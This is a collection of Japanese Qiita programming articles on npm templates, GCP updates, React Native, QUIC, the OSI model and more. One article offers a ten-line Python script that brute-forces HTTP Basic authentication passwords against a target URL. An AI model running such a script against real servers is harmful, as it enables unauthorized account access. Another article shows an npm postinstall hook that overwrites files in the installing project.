OmniAICreator/Qiita-1.07M huggingface dataset:
npmを自分専用の開発環境置き場にする

# npmを自分専用の開発環境置き場にする

## １．開発環境の初期状態構築の面倒くささ

　Node.jsを使った開発を行う場合、特にフロントエンド開発の場合などは、必要になる設定ファイルが多いため、それを苦痛と思う人も少なくないだろう。  
　webpackやtypescript、依存モジュールの設定等、用意しなければならないものは多い。
　私の場合、最低でも以下のファイルを用意する。

- .gitignore
- .npmignore
- webpack.config.js
- package.json
- index.html
- index.tsx

　これに対処するのなら、どこかにテンプレート用のディレクトリを用意しておき、そこから持ってくれば良い。
　しかしもっと簡単にやる方法があれば利用したい、そんなことを考えている人もいるだろう。
　そんな人に紹介したい、npmに自分のテンプレートを登録して簡単に呼び出す方法だ。

## ２．npmにテンプレートを設置する方法

　npmでインストールしたパッケージは、普通にやるとnode_modulesの中に入るだけである。欲しいのは、インストールしたら全ての環境構築が終わっている状態である。これを実現するためにはnpmのscript機能を活用することである。

```package.json
{
  "scripts": {
    "postinstall":"コマンド"
  }
}
```

というのを入れておけば、パッケージインストール時に任意のコマンドを実行することが出来る。ここで必要なファイルをコピーするスクリプトを設置すれば、インストールと同時に環境構築を行うことが出来るのだ。

## ３．自動環境設定パッケージの作成

- [https://www.npmjs.com/](https://www.npmjs.com/)へ行って、ユーザ登録
ユーザを作らないと、パッケージの登録が出来ないので必須作業だ

- テンプレートパッケージの用意
テンプレートとなる初期パッケージを用意する

- テンプレートパッケージにfs-extraを追加
ファイルのコピーで必要となるので
npm i fs-extra 
を実行しておく

- ファイルコピースクリプトの準備 
以下のスクリプトはnode_modulesに入っているテンプレートパッケージのファイルを丸ごとコピーするようになっている 
最後に *npm i* を出力しているのは、スクリプト終了後にパッケージのインストール処理をするからだ

```bin/init.js
#!/usr/bin/env node
const path = require('path');
const fs = require('fs-extra');

if(fs.existsSync('../../../bin/init.js'))
  process.exit(-1);
console.log('copy template')
fs.copySync(path.resolve(__dirname, '..'), '../../../',{overwrite:true});
console.log('npm i');
```

- package.jsonの設定  
nameに **@npmのユーザ名** を指定することによって、パッケージにスコープを付けることが出来る。  
ユーザ名スコープを使えば、グローバルなパッケージ名を汚染することは無いので、気兼ねなく自分のテンプレートを設置することが出来る。   

　publishConfigに設定しているのは、公開パッケージという宣言だ。 
　スコープを使う場合は必要になる。課金すればプライベート設定も可能だ。  

　postinstall項目には実行するスクリプトが記述してある。 
　コピーが終わったら、依存パッケージのインストールを行う。  
　これがnpmからのインストール時に実行される。 
　今回、package.jsonごと環境をコピーするため、**npm i** による無限ループ発生を阻止する細工を入れてある。

```package.json
{
  "name": "@npmのユーザ名/template01",
  "publishConfig": {
    "access": "public"
  },
  "scripts": {
    "postinstall": "(node bin/init.js && cd ../.. && npm i) || exit 0",
  },
}
```

　以上の項目を、テンプレート用のpackage.jsonに追加する

- パッケージをnpmに登録  
npm publish  
内容を変更して再登録する場合は、package.jsonのversionを上げるのを忘れないようにしよう。

以上でテンプレートパッケージの登録は完了だ

## ４．テンプレートの呼び出し

環境構築は新しいディレクトリを作って以下のように行う。

```.sh
npm -y init
npm i @npmのユーザ名/template01
```

これでテンプレートに登録した開発環境が再現される。

## ５．お試し

どんな感じになるのか試したいなら、私が用意したテンプレートをインストールして確認して欲しい。

```.sh
npm -y init
npm i @sora_kumo/template01
npm start
```

これで私が使っている環境が再現され、以下のようなの実行結果が表示されるはずだ。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/267629/424338f7-3c7c-441c-9c69-1c0a4d2a4956.png)


## ６．使い道

　最小限のコマンドで簡単に環境が再現できるようになるので、例えば勉強会などで初期状態を揃えたい場合などに使うことも出来るだろう。 
　また、技術系の解説記事を書く場合も、環境を揃えることが出来れば、実際に試しながらという流れで説明できる。 
　npmにpublishが敷居が高く感じている人も練習になるので、ぜひ試してみて欲しい。
GCP アップデート (9/6-9/12 2019)

### GKE: [Sep 6, 2019](https://cloud.google.com/kubernetes-engine/docs/security-bulletins#august-6-2018)
- [CVE-2018-5391](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5391)の情報共有。
  - GKEは2018-08-11のアップデートが当たっていれば、[CVE-2018-5391](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5391)も[CVE-2018-5390](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5390)も影響を受けない。
  - マスタは自動アップグレードされるので、ノードを手動で更新してるところはすぐに更新することが推奨。
  
### BigTable: [Sep 6, 2019](https://cloud.google.com/bigtable/docs/release-notes#2019-09-06)
- Python Client LibraryがGAになったよ。

### LB: [Sep 6, 2019](https://cloud.google.com/load-balancing/docs/release-notes#August_28_2019)
- LBの[チュートリアル](https://cloud.google.com/load-balancing/docs/https/https-load-balancer-example)の更新。
  - コンテントベース + クロスリージョナルなLBのチュートリアル。

### AI Platform: [Sep 6, 2019](https://cloud.google.com/ml-engine/reference/rest/v1/projects.models.versions#requestloggingconfig)
- モデルをデプロイ後に、オンラインのリクエストとそのレスポンスをサンプリングしてBigQueryに保存する機能がベータに。
  - 定期的にモデルの品質をチェックしてくれる[Continuous Evaluation](https://cloud.google.com/ml-engine/docs/continuous-evaluation/)を使っている場合は自動で同様の設定が入るので、要件がなければこの設定はいらない。
  - サンプリングする割合が指定可能。

### AI Platform: [Sep 9, 2019](https://cloud.google.com/ml-engine/docs/release-notes#september_9_2019)
- ランタイム1.14がTensorflow1.14を使ってTPUでトレーニングできるようになったよ。

### LB: [Sep 9, 2019](https://cloud.google.com/load-balancing/docs/release-notes#September_09_2019)
- HTTP(S)ロードバランサのログを有効化/無効化、確認できる機能がベータになったよ。
  - ログはstackdriverに。

### BigQuery: [Sep 10, 2019](https://cloud.google.com/bigquery/docs/release-notes#sep_10_2019)
- ドキュメンテーションに合わせて2019年11月1日より以下の挙動になるよ。(ドキュメントにはあったけど今までは強制されてなかった。)
  - Jobs.getとJob.getQueryResultsで5ヶ月以上古いジョブを参照した場合はNOT_FOUNDエラーを返すようになるよ。
  - Jobs.listも同様に5ヶ月以上のを表示しなくなるよ。
 
### GKE: [Sep 9, 2019](https://cloud.google.com/kubernetes-engine/docs/release-notes#september_9_2019)
- **下のセキュリティパッチのロールアウト日付は間違い。[9/16の内容](https://qiita.com/kenzkenz/items/be11e85922e2c4650540#gke-sep-16-2019)見てください。**
- アップグレードのお知らせ: auto-upgradeが有効なマスタ/ノードはv1.11からv1.12に順次アップグレードされるよ。
  - v1.12-14もパッチ公開。1.13と1.14はCVE-2019-9512、CVE-2019-9514対応されてるのでアップグレード推奨。

### Cloud Run: [Sep 10, 2019](https://cloud.google.com/run/docs/release-notes#september_10_2019)
- Cloud RunのサービスとリビジョンにKey/Valでラベルが付けられる機能がベータになったよ。

### dataprep: [Sep 11, 2019](https://cloud.google.com/dataprep/docs/release-notes#september_11_2019)
- 機能アップデートが大量に。。。気になったところだけ:
  - 実行されるVPCとサブネットが選べるようになったよ。(セキュリティ気にするところは嬉しそう)
  - 与えたサンプルのアウトプットを、インプットからどう変換するか推測してくれるTransformation by Example(TBE)。(アウトプット決まってるとき使えそう)
  - 書き出し時にパラメタでテーブルやファイル名を変えられる機能。(使う側で名前の指定があるときとかに使えそう)
  - PNaCl廃止されてWebAssemblyに。(早くなって良さそう)

### ディスクレーマ
- アップデートの内容はあくまでも個人の理解していることを書いています。正しい内容はリリースノート等を確認下さい。
- リリース内容できるだけ拾うようにしているのですが、抜けていそうなリリースノートが追加するのでぜひ教えて下さい！(一覧[ここ](https://qiita.com/kenzkenz/items/ac18a359b803dbb6b490)で更新してます。)
速殺でAndroidのNavigationBarの色を変える

備忘録に...

##1.いつも通りyarn or npm

```
react-native-navigation-bar-color
```

##2.link
```
react-native link react-native-navigation-bar-color
```

ここまでは普通。linkしてもハマるので、Manual Configurationをやっていく。

僕の環境0.60.5では以下の箇所が必要だった。

```
android/app/src/main/java/[...]/MainApplication.java
```

を開いて

```
import　com.thebylito.navigationbarcolor.NavigationBarColorPackage;
```

android/app/build.gradle
のdependency内にて

```
compile project(':react-native-navigation-bar-color')
```


参考
https://github.com/thebylito/react-native-navigation-bar-color#readme
google text-to-speech apiを使って誉め言葉を音声出力するPGM

google text-to-speech apiを使って誉め言葉を音声出力するPGMです
普段あまり褒められていないような人でも自己完結的に承認欲求が少しでも満たせればと
思い、作成しましたw

githubURL: https://github.com/NanjoMiyako/HomeKotobaSaisei

使い方

1. OnseiGosei.pyとspeechContent.txt(誉め言葉の一覧表)から合成音声のファイルリストをoutputフォルダに出力（*この処理を行うためにはGoogle text-to-speechの認証情報のjsonファイルを取得し、適切な場所(リポジトリ直下)に配置する必要があります(参考URL参照)
2. OnseiSaisei.pyからoutputフォルダのファイル一覧からランダムに何件か再生させる(この処理で誉め言葉がランダムに再生されます)


参考URL
<a href="https://blog.apar.jp/web/9893/#toc9">
Google Cloud Text-to-Speech の使い方 日本語テキストを読み上げさせてみよう | あぱーブログ
</a>
<a href="https://cloud.google.com/speech-to-text/docs/languages?hl=ja">
言語対応  |  Cloud Speech-to-Text  |  Google Cloud
</a>
<a href="https://cloud.google.com/sdk/docs/?authuser=2&hl=ja">
Google Cloud SDK のドキュメント  |  Cloud SDK  |  Google Cloud
</a>
<a href="https://cloud.google.com/text-to-speech/docs/quickstart-client-libraries?authuser=2&hl=ja#client-libraries-install-python">
クイックスタート: クライアント ライブラリの使用  |  Cloud Text-to-Speech API  |  Google Cloud
</a>
<a href="https://qiita.com/kekeho/items/a0b93695d8a8ac6f1028">
PythonでMP3音源を再生する - Qiita
</a>
<a href="https://www.sejuku.net/blog/60333#open-2">
Pythonでファイルの読み込み方法をマスター｜open関数 | 侍エンジニア塾ブログ（Samurai Blog） - プログラミング入門者向けサイト/a>
<a href="https://techacademy.jp/magazine/18928">
Pythonでglobモジュールを使う方法【初心者向け】 | TechAcademyマガジン
</a>
<a href="https://www.sejuku.net/blog/20915#randomrandintab">
【Python入門】randomモジュールの使い方まとめ | 侍エンジニア塾ブログ（Samurai Blog） - プログラミング入門者向けサイト
</a>

参考素材
<a href="https://lifedata1.com/praise-summary-041/">
褒め言葉一覧◇男性.女性.子供.仕事別でまとめました。 | ライフデータ
</a>
react-navigationのインストール@expo 2019年9月11日編



記事執筆時の2019年9月12日現在、react-navigation v4を利用しようとすると、いくつかの依存nodeを追加する必要があり、かつ、普通に追加するとバージョンミスマッチを起こしてWarningが出る。

## 前提

expo利用が前提です。

## モジュールのインストールと調整

### インストール

react-navigation本家にも記載がありますが、expoを利用する場合、下記のようにすると依存モジュールのインストールと（本当なら）適切なバーションのモジュールを入れてくれるようです。

```bash
expo install react-navigation react-native-gesture-handler react-native-reanimated react-native-screens
```

### バージョンミスマッチ防止

ただ、上記のままだとバージョンがミスマッチとなるため、package.jsonを下記のように変換します。

```bash
...
    "react-native-gesture-handler": "~1.3.0",
    "react-native-reanimated": "~1.1.0",
    "react-native-screens": "1.0.0-alpha.22",
...
```

>^を~に。^をトル。など。

## Stack, Drawer, Tab Navigatorのインストール

v4から、分離されたようなので追加インストールする必要があります。

```bash
npm install --save react-navigation-stack react-navigation-tabs react-navigation-drawer
```

## import 

importも個別に。

```
import { createAppContainer } from 'react-navigation';
import { createStackNavigator } from 'react-navigation-stack';
import { createBottomTabNavigator } from 'react-navigation-tabs';
import { createDrawerNavigator } from 'react-navigation-drawer';
```
数十円で作ったwebサービス(画像処理)

# はじめに
以前、作成したサービスを公開するまでの過程を記事として残しました。
本記事では使用した技術と流れだけに触れ、
各所で行った詳細な作業内容は今後、順次記事にしていこうと思います。

# サイト内容
作ったのは画像をアップロードするとモザイク処理を行えるサービスです。
画像全体モザイクと顔のみにモザイクが出来るようにしました。
アップロードした画像はユーザーごとに管理出来ます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/259302/a6ce638d-a3eb-3954-2546-5c6806a8bd8a.png)


# 使った技術
とりあえずは開発/運用コストを抑えたかったので、基本的に無料で使えるものを選びました。
トータルコストは数十円程度でした。とりあえず無料プランで作って、規模が大きくなってから有料プランに切り替えれば良いと思います。

・Djnago
・Heroku
・Cloudinary
・お名前.com
・CloudFlare


# サービスを公開するまでの流れ
1. Djangoでアプリケーションを作る
2. Herokuでデプロイする
3. Cloudinaryで画像ストレージを用意する
4. お名前.comで独自ドメインを用意する
5. CloudFlareで通信をSSL化する


# Djangoでアプリケーションを作る
私は一番慣れ親しんだ言語がPythonだったのでDjangoを使用しました。

フレームワークとしてログイン認証やDB連動が用意されているので工数を大幅に削減出来ました。超便利です。
よくDjangoは日本語ドキュメントが少ないと言われますが、最近のGoogle翻訳は非常に精度が高いので何とかなります。


# Herokuにデプロイする
作ったアプリケーションはHerokuでデプロイしました。

Herokuを選んだ理由は大きくは以下の3つです。
1. Djangoの推奨構成が用意されていること
2. シンプルな機能であること
3. 無料プランで試せること

コマンドベースでHerokuコマンドを実行することで、build、パッケージング、デプロイを自動的にやってくれるので低コストでデプロイが可能です。

ただ少しデバッグ機能が弱いです。Herokuのログだけを見てもどこに不具合があるかはほとんど分かりません。
(当たり前かもしれませんが)開発環境でしっかり作り込んだ後にステージングした方が良いです。


# Cloudinaryを画像データストレージとして使う
Djangoは画像データをアプリ内で持つことを良しとしていません。
そのため、画像データを扱うアプリをデプロイする際は画像データ用のストレージを用意する必要があります。

Djnago + Heroku + Cloudinary構成を実現するには各々での設定が必要ですが
一度設定すればURLベースで画像を使えるので便利です。

ただ、Cloudinaryは参考記事が少ないのでハマると大変でした。


# お名前.comでドメインを取得する
サイト上から簡単に取得できました。
末尾が".com"のドメインは少し高いですが、こだわらなければ数十円で独自ドメインを取得できます。
ちなみに取得した"piximg.xyz"は29円でした。


# CloudFlareでSSL化する
取得した独自ドメインとHerokuのドメインをCloudFlareで紐付けます。
今回はさらに通信をSSL化しました。

CloudFlareにアカウントを作成し、DNS情報登録、SSL設定をします。
さらに、Heroku側でも独自ドメインを登録して完了です。

![qiita0911.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/259302/96287de8-6395-7562-9131-5bc2b8f3eb2a.png)

# おわり
使えるものは使って低コストでWebサービスを作れました。
もしどなたかの参考になれば幸いです。
また「これ使えばもっと◯◯出来るよ！」とかあれば教えて頂けると幸いです。

とりあえずA8netの広告だけ貼っているのですが今後はちゃんとマネタイズも考えないといけないですね。
UUIDとPARTUUIDの違い

# UUID
ファイルシステムを設定するときに付与されるUUIDのこと。
例えば`$ mkfs.* /dev/****`を実行時にUUIDが生成される。
また、FAT や NTFS ファイルシステムは UUID をサポートしておらず、
短い UID（例：`2CD2-D9B8`）が`/dev/disk/by-uuid`に登録される。

# PARTUUID
GPTパーティションテーブルにより、設定される。
すなわち、パーティションを識別するためのUUID。




# Reference
- [ストレージデバイスの管理 Red Hat Enterprise Linux 8 | Red Hat Customer Portal](https://access.redhat.com/documentation/ja-jp/red_hat_enterprise_linux/8/html-single/managing_storage_devices/index)
- [永続的なブロックデバイスの命名 - ArchWiki](https://wiki.archlinux.jp/index.php/%E6%B0%B8%E7%B6%9A%E7%9A%84%E3%81%AA%E3%83%96%E3%83%AD%E3%83%83%E3%82%AF%E3%83%87%E3%83%90%E3%82%A4%E3%82%B9%E3%81%AE%E5%91%BD%E5%90%8D)
[Rust] num-bigint と代数方程式の整数解

[(ネタ) x ^ 3 + y ^ 3 + z ^ 3 = 42 の答えを見つけたチームがいるらしいのでJSのBigIntで確かめてみる](https://qiita.com/hrkt/items/5e8f5bcd10f74cd5047d)

変な時間に寝たせいで変な時間に起きて寝つけないので, 上の記事の内容を Rust で試してみます. 本記事は実質的に `num-bigint` クレートの入門記事になっています.

# 問題

次の整数論の問題があります.

* $x^3 + y^3 + z^3 = 42$ を満足する整数の組 $( x, y, z )$ を求めよ.

[オリジナルのニュース記事](https://www.sciencedaily.com/releases/2019/09/190906134011.htm) (英語) は力技で解 $x = -80,538,738,812,075,974$, $y = 80,435,758,145,817,515$, $z = 12,602,123,297,335,631$ を発見したと報告するものです. この数字が本当に解になっているかをチェックすることがこの記事 (およびネタ元の記事) の主題です.

# 方針

単に三乗和を計算すればよいだけに見えますが, 数字が大きすぎるために `i128` を用いても 桁数が足りません (2 乗までしか計算できない). こういうときは多倍長整数 (BigInt) の出番です. Rust では `num-bigint` クレートが提供されているので, これを使いましょう.

`num-bigint` クレートは `BigInt` と `BigUint` というふたつの型を提供します. これは整数を表すのに必要なだけのビットをヒープに動的に確保するもので, メモリが許す限り任意に大きな整数を扱うことができます. 計算速度は落ちますが. 

# 実装と結果

`num-bigint` の詳しい使い方は [ドキュメント](https://docs.rs/num-bigint/0.2.3/num_bigint/) 読むのが一番ですが, 簡単に説明しておきます.

`num_bigint::BigInt` は `From<i32>` や `From<i128>` 等を実装しているので, `BigInt` インスタンスを確保する場合はこれを用いて変換するのが一番楽だと思います. `BigInt::from(1024)` とか `1024.into()` とか. `FromStr` でもあるので, 文字列表現のパースも可能です. ドキュメントに載っている `BigInt::new()` などのメソッドは整数のバイナリ表現からインスタンスを確保するものなので, 多くの場合あまり実用的ではないと思います. 

四則演算 (`Add` など) は既に実装されているので普通に計算できます. ただし `BigInt` は `Copy` でないことに気をつける必要があります. また, べき乗 `pow` は `num-traits` クレートのトレイトとして実装されているので, べき乗を使う場合はそれを `use` しておく必要があります.

ちなみに `BigInt` は `Default + Debug + Display + Clone + Eq + Ord + Hash` です. 他に `num-traits` のトレイトでは `Zero + One + Num` でもあります.

## コード

```rust
extern crate num_bigint; // 0.2.2
extern crate num_traits; // 0.2.8
use num_bigint::BigInt;
use num_traits::Pow;

const X: i128 = -80_538_738_812_075_974; 
const Y: i128 = 80_435_758_145_817_515;
const Z: i128 = 12_602_123_297_335_631;

fn main() {
    let x: BigInt = X.into();
    let y: BigInt = Y.into();
    let z: BigInt = Z.into();
    
    let lhs = x.pow(3u32) + y.pow(3u32) + z.pow(3u32);
    println!("X^3+Y^3+Z^3 = {}", lhs );
    
    let rhs: BigInt = 42.into();
    assert_eq!( lhs, rhs );
}
```

## 結果

上のコードを動かすと `X^3+Y^3+Z^3 = 42` と出力されるはずです. という訳で, 確かに問題の方程式の整数解になっていることが確認できました.
【Python3】 たった10行で作るBasic認証への総当たり攻撃

# はじめに
この記事のコードは、悪用厳禁です。
自分の所有するサーバーのみでの実行をお願いします。

### 1. 必要なライブラリをインポートする
`pip install requests`

### 2. 実装する
```python:main.py
import requests
import sys

for password in range(1,10000):
    password = str(password)
    res = requests.get('URL', auth=('User', password))
    if 'WWW-Authenticate' in res.headers.keys():
        None
    else:
        print( "%s is correct" % password )
        sys.exit()
```
URL :攻撃対象のURL（＊悪用厳禁）
User:ユーザ名（認証クリア可能なユーザ名）

Basic認証では、認証失敗した時にレスポンスヘッダにキー('WWW-Authenticate')が含まれている。そのため、認証成功する際はレスポンスヘッダーのキーに('WWW-Authenticate')が含まれていない時のパスワードを取得した。

# まとめ
今回は、あらかじめユーザ名を把握している状態で 1~10000までの数字で Basic認証 へのアクセスを試行（総当たり攻撃）した。
また、実行時間を短縮するために、認証クリアした段階で処理を終了するよう実装してみた。
インラインフレームの書き方

インラインフレームは外部サイトや別のwebページを自身のサイトにそのまま埋め込むことができる。
例えば、一覧画面から登録画面に遷移する際に登録画面を一覧画面のURLのままインランフレームで表示させるなど。
Twitterやfacebookのタイムラインを埋め込むこともできます。

```php

<!-- フォーム部分 -->
<form name="form1" action="user_edit_done.php" target="scheduleIframe" method="post">
<!-- フォームのactionで飛び先のurlを指定するのは通常通り。
     targetで送信結果をどのインラインフレーム（ウィンドウ）に表示するのかを指定するため、
     iframeタグのnameを指定します。このコードだと「scheduleIframe」。 -->
 <?php
  echo '<input type="hidden" name="code" value="'. $hoge . '">';
  echo '<input type="hidden" name="position" value="'. $hogehoge . '">';
  echo '<input type="hidden" name="first_name" value="'. $fuga . '">';
 ?>

<!-- 送信ボタン -->
 <div class="button">
  <input type="button" onclick="history.back()" value="戻る" class="back_button">
  <input type="submit" value="登録" class="edit_button edit" onclick="dispIframe()">
 </div>
</form>
<!-- inputタブのonclickでdispIframeを設定し、jQueryで書いたモーダルウィンドウのコードを動かします。
     ここまででform部分終了。 -->

<!-- インラインフレームのコードです -->
<div class="schedule-modal" id="js-schedule-modal">
 <div class="schedule-modal-inner">
  <iframe id="iframe" name="scheduleIframe" frameborder="0"></iframe>
  <button class="close-btn-comp" id="js-close-btn" onclick="location.href='user_list.php'">一覧に戻る</button>
 </div>
 <div class="overlay" id="js-overlay"></div>
</div>
<!-- class="schedule-modal" をcssをdisplay:noneにして全体を表示にしています。
     送信ボタンがクリックされることでonclick="dispIframe()"が作動し一番上のid="js-schedule-modal"を
     下のjQueryのコードで指定しモーダルウィンドウにします。
     buttonタグ class="close-btn-comp"では、onclickで一つまえのページに戻る指定をしています。
     下から２行目のdiv class="overlay" id="js-overlay"でモーダルウィンドウが出た際に外枠を黒っぽく表示します。 -->

<!-- jqueryのリンク -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

<!-- jQueryのコード -->
<script type="text/javascript">
 function dispIframe() {
  $("#js-schedule-modal").css('display', 'block');
};
//送信ボタンがクリックされた際にonclickで function dispIframe が発動。インラインフレームの
//id="js-schedule-modal" を指定し、cssをdisplay,blockにしモーダルウィンドウで出現させます。

  $("#js-close-btn, #js-overlay").on("click", function() {
  $("#js-schedule-modal").css('display', 'none');
 });
//js-close-btnはインラインフレーム内の「一覧に戻るボタン」、js-overlayはインラインフレーム外の黒っぽくなっている外枠、
//この二つをクリックすることでサイドjs-schedule-modalのcssをdisplay,noneにし、インラインフレームを表示にします。

```

```css
/* 各CSSです */

.schedule-modal {
	display: none;
	position: fixed;
	left: 0;
	top: 0;
	width: 100%;
	height: 100%;
	transition: 1s;
	z-index: 999;
}

.schedule-modal-inner {
	position: absolute;
	left: 50%;
	top: 50%;
	z-index: 999;
	transform: translate(-50%, -50%);
	width: 30%;
	height: 45%;
	box-sizing: border-box;
	padding: .3rem;
	border-radius: .8rem;
	background: #fff;
}

.schedule-modal iframe {
	width: 100%;
	height: 90%;
}

.close-btn {
	position: absolute;
	top: 60%;
	font-size: 2rem;
	padding: 0 .6rem .1rem;
	border: 1px solid #bfbcb0;
	border-radius: 3px;
	background: linear-gradient(#fcfcfa, #e5e3d8);
	cursor: pointer;
	left: 30%;
}

.overlay {
	position: absolute;
	left: 0;
	top: 0;
	width: 100%;
	height: 100%;
	background: rgba(0, 0, 0, .8);
	z-index: 900;
	cursor: pointer;
}


```
【QUIC】バージョン互換(ネゴシエーション)について

2019/9/10 に QUIC のバージョンネゴシエーションに関する draft が更新されました。

[Compatible Version Negotiation for QUIC draft-schinazi-quic-version-negotiation-01](https://tools.ietf.org/html/draft-schinazi-quic-version-negotiation-01)

この更新は、期限切れ防止の為のもののようで、00 から内容は変わっていませんが、私自身もちゃんと目を通していなかったので、これを気にきっちり把握しておきたいと思います。

### QUICのバージョン互換に関してのおさらい

本題に入る前に、QUIC の [draft-22](https://tools.ietf.org/html/draft-ietf-quic-transport-22) に記載されている QUIC のバージョンの取り扱いに関しておさらいしましょう。

QUIC のバージョンは Version Negotiation Packet によってクライアント・サーバが相互にサポートしているバージョンのものが使われることが保証されます。
大まかな流れとしては以下のような感じです。

1.
クライアントはハンドシェイク時の Initial Packet や 0-RTT Packet に利用したい QUIC のバージョンを含めてサーバへ送付する

2.
1 を受け取ったサーバは、指定されたバージョンを受け入れられる場合はそのままハンドシェイクを続行する。
受け入れられない場合は、Version Negotiation Packet を返送する。
Version Negotiation Packet にはサーバが受け入れ可能なバージョンのリストが埋め込まれている。

3.
クライアントは Version Negotiation Packet を受信したら一度コネクションを破棄し、Version Negotiation Packet に含まれている中でサポートしているバージョンを選択して再度ハンドシェイクを実行する

この方式では、Version Negotiation Packetを投げるフローに入ってしまうと、 1RTT 無駄にしてしまいます。
QUIC では折角 1-RTT/0-RTT ハンドシェイクで RTT を短縮しているのに、こんなところで 1RTT も無駄にするのは以ての外です。
と言う訳で、なるべく RTT を無駄にしないような Version Negotiation (以後 VN) の仕組みが今回の draft により提案されています。

### Compatible Version Negotiation for QUIC

それでは、RTT を無駄にしない VN を具体的にどう実現しているのでしょうか。
実はこれはとても単純で
『クライアントもサーバに自分がサポートするバージョンのリストを送信する』
だけです。

それでは、具体的な流れを見てみましょう。

1.
クライアントは、サーバがサポートする可能性が最も高いバージョン(使用できる最も古いバージョンが一般的には選ばれる)を使用して Initial Packet を送付する。
この Initial Packet にはクライアントがサポートする全てのバージョン情報が、トランスポートパラメータである supported_compatible_versions フィールドに優先度の低い順に含まれている。

2.
サーバは 1 を受け取ったら、優先順位の高いバージョンから自身がサポートしているバージョンであるかを順に照合していき、利用可能なものがあれば以後そのバージョンで通信を行う。
また、選択したバージョンをトランスポートパラメータの negotiated_compatible_version フィールドに入れて返送する。

以上です(とてもシンプル！)。

上記のトランスポートパラメータ CompatibleVersions の定義は以下の通りです。

~~~
   struct {
         select (Handshake.msg_type) {
            case client_hello:
               QuicVersion supported_compatible_versions<4..2^8-4>;

            case encrypted_extensions:
               QuicVersion negotiated_compatible_version;
         }
   } CompatibleVersions;
~~~

supported_compatible_versions は、前述したようにサポートする QUIC のバージョンを優先度の低い順にリストとして保持します。
negotiated_compatible_version は、サーバが選択した通信に使用される QUIC のバージョンが保持されています。

supported_compatible_versions を使用しない場合は「QUICのバージョン互換に関してのおさらい」で解説した流れで QUIC のバージョンは選択されます。

また、supported_compatible_versions には Initial Packet に含まれるバージョンで利用する為に予約された `0x?a?a?a?a` の書式に従うバージョンも含めることができますが、これはサーバ側では無視されます。

ちなみに、QUIC のフレームは自己記述型ではないので、明示的な指定がない限りは異なるバージョン間には互換がないと見なされます(これによりクロスプロトコル攻撃への耐性も持ちます)。
「互換性のある」ことが明示されているバージョン間で、ハンドシェイク時の Encrypted Extensions のような拡張機能が片方でしか対応していなかった場合、このパラメータは無視されます。

最後にセキュリティについて触れます。
「QUICのバージョン互換に関してのおさらい」で解説した VN の方法では、ダウングレード攻撃を防ぐことができません。
今回の draft で紹介されている方法では、最終的にバージョンを合意するのには TLS のハンドシェイクが実施されている必要がある為、(クライアントの使用できる最も古いバージョンではありますが)暗号化が施され、ダウングレード攻撃への耐性を持つことができます。

Compatible Version Negotiation for QUIC に関する解説は以上です。
この draft のように、QUIC の VN に関してはまだこれから仕様が詰められていく段階なようですので、もうしばらく動向を注視した方が良さそうです。
OSI基本参照モデル入門

## はじめに

文系の身からWebエンジニアとして働き初めて１年半。
最近はネットワークを学んでおこうという機運が高まっているのですが、その上でOSI基本参照モデルは避けて通れないとのこと。
以前に少し勉強はしたものの、依然としてなんとなくの理解しかできていなかったため、この機会にアウトプットを含めてアウトラインを学習してみることにしました。

## OSI基本参照モデルの概要

その昔、各ベンダが独自のネットワークアーキテクチャに基づいた製品を作っていた時代には、異なるベンダの製品を組み合わせてネットワークを構築することができず、ユーザーにとっては大変不便な状況が続いていました、そんな中、異なるベンダの製品間でも問題なく自由に通信できる環境を整備するために、ISO(国際標準化機構)がOSI(開放型システム間相互接続)と呼ばれる通信体系を標準化しました。
その過程で、通信プロトコルを設計する際の指標としてOSI基本参照モデルが提唱されました。
これは**通信に必要な機能を7つの階層に分割し、複雑なネットワークのプロトコルを単純化しよう**というものでした。

### 7つの階層
OSI参照モデルは７つの階層からなる通信モデルで、各階層は自分より下の階層から特定のサービスを受け取り、上位層にまたサービスを提供します。
各階層の名称は以下のようになっています。番号の若い方がより低い階層です。

|階層|階層名|
|---|---|
|7|アプリケーション層|
|6|プレゼンテーション層|
|5|セッション層|
|4|トランスポート層|
|3|ネットワーク層|
|2|データリンク層|
|1|物理層|



OSI基本参照モデルにおいては、これらの階層に当てはまるモジュールをそれぞれ作成し、つなぎ合わせることで通信が可能になります。
また、**各階層は完全に独立しているため、特定の階層のモジュールを変更しても影響はその階層のみにとどまります**。つまり、変更に強く柔軟なネットワークシステムの構築が可能になるということです。
そして同時に、階層ごとの機能や責務範囲を切り分けて考えられるため、各階層のプロトコルの実装が行いやすくなるというメリットもあります。

ただ、OSI基本参照モデルは各階層の役割や責務範囲を定めている「ガイドライン」に過ぎず、実際のプロトコルやインターフェースの詳細を事細かに定めているわけではありません。
ですが多くのプロトコルの仕様などはこのモデルをベースに開発されているため、ネットワークの知識基礎としてOSI基本参照モデルを学ぶことには大きな意義があります。

### 各階層の役割

#### 第７層：アプリケーション層

利用されるアプリケーションの通信に関する部分を定める階層で、メール送信（SMTP）、ファイルの転送(FTP)などを行うためのプロトコルはここに属します。

データの送信を行う際はここが起点となり、データに「宛先」や「データの内容」などを示すヘッダ（タグ）を付与して下位層に送り出します。
逆にデータの受信においてはここが終着点となり、データに付与されたヘッダを解析し、データの表示や保存、エラーの表示などアプリケーション固有の処理を行います。

#### 第６層：プレゼンテーション層

アプリケーションが使用する情報を通信を行いやすいようなデータ形式に変更したり、下位層から渡ってきたデータを、上位層が処理できる形式に変換する役割を持ちます。

つまりは文字コードなどのデータの表現形式に責任を持つ層で、コンピュータやソフトウェア間のデータ表現形式の差異を解消する仕事を行なっています。
具体的には、ホスト固有の表現形式を一度「ネットワーク全体で統一された表現形式」へと変換し、その変換情報をデータのヘッダに追加する、といった処理になります。

データ受信の際には、ヘッダの情報からホストが解釈できる表現形式へとデータを再変換します。

#### 第５層：セッション層

ネットワークの通信路としてのコネクションの確立と切断、転送データの分割箇所の設定など、データの転送に関する役割を持つ層です。

この階層ではデータの送り方(直列で送るか、並列で送るか)や手順、タイミング等が検討・決定され、その情報が上層から降りてきたデータにヘッダとして追加されます。

#### 第４層：トランスポート層

送信先のアプリケーションに対して、確実にデータを送信する責任を持つ層です。

